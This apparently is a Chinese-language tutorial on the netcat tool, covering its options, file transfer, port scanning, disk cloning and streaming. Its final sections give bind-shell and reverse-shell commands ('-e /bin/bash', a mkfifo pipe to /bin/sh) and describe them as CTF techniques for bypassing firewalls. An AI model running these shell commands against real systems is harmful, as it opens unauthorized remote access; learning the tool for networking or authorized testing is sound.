nc的简介以及常见使用方法

简介

nc全名NetCat,有Windows和Linux的版本,因为短小、功能实用,被设计为一个简单、可靠的网络工具,可以通过TCP或UDP协议传输读写数据,同时,他还是一个网络应用DEbug分析器。

通常Linux发行版中都带有NetCat

参考连接:Linux nc 命令详解_上善若水-CSDN博客_nc命令

安装

1
2
yum install -y nc
rpm -q nc

参数简介

语  法:nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源地址>][-v…][-w<超时秒数>][主机名称][通信端口…]

补充说明:执行本指令可设置路由器的相关参数。

参  数:

  • -g<网关> 设置路由器跃程通信网关,最多可设置8个。
  • -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
  • -h 在线帮助。
  • -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  • -l 使用监听模式,管控传入的资料。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  • -p<通信端口> 设置本地主机使用的通信端口。
  • -r 乱数指定本地与远端主机的通信端口。
  • -s<来源地址> 设置本地主机送出数据包的IP地址。
  • -u 使用UDP传输协议。
  • -v 显示指令执行过程。
  • -w<超时秒数> 设置等待连线的时间。
  • -z 使用0输入/输出模式,只在扫描通信端口时使用。

简单使用示例

聊天

1
2
pc1:nc -l port
pc2:nc ip port 

远程拷贝文件

1
2
3
4
5
pc1
nc -l port > 1234.txt

pc2
nc -w 1 ip port < abc.txt

文件由pc2到pc1

端口扫描

1
nc -v -w 1 ip -z port-port

保存Web页面

1
while true; do nc -l -p 80 -q 1 < somepage.html; done

模拟HTTP Headers

1
2
[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]

nc命令的使用实例

加密网络发送的数据

服务端

1
$nc localhost [port] | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密数据

客户端

1
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l [port]

使用mcrypt工具解密数据

请确保两端使用相同的密码

流视频

首先说明这个不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用nc也可以完成。

服务端

1
cat video.avi | nc -l [port]

这里是从一个视频文件中读入并重定向输出到netcat客户端

1
nc ip [port] | mplayer -vo x11 -cache 3000 -

克隆一个设备

如果你想配置一个新linux机器,而你不想在重复配置一遍,只需要启动另一台机器的一些引导可以克隆你的机器。

假设系统在/dev/sda上

Server

1
dd if=/dev/sda | nc -l [port]

Client

1
nc -n [ip] [port] | dd of=/dev/sda

dd是一个从磁盘中读取原始数据的工具,通过nc服务器重定向它的输出流

到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。

打开一个shell

远程shell(例如telnet和ssh)但是如果靶机没有,而且我们没有安装权限也可以使用netcat创建远程shell

目标机(服务机)

1
$nc -l [port] -e /bin/bash -i

客户机

1
$nc [ip] [port]

这里我们建立了一个netcat服务器并且表示当它连接成功时执行/bin/bash假如netcat不支持-c或者-e参数时,我们可以使用以下命令建立起远程shell

目标机(服务机)

1
2
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2> &1中。是用来重定向标准错误和标准输出,然后管道到netcat运行的端口1567上,至此,我们已经把netcat的输出定向到fifo文件中

过程详解

从网路收到的输入写道fifo文件中→cat命令读取fifo文件并且其内容发送给sh命令→sh命令进程受到输入并且把它写回到netcat→netcat网络发送给客户机

客户机操作同上

反弹shell

ctfer常用操作

服务端端进行监听

1
nc -l [port]

客户端则在nc连接后执行shell

1
nc [ip] [port] -e /bin/bash

反弹shell常用于绕过防火墙的限制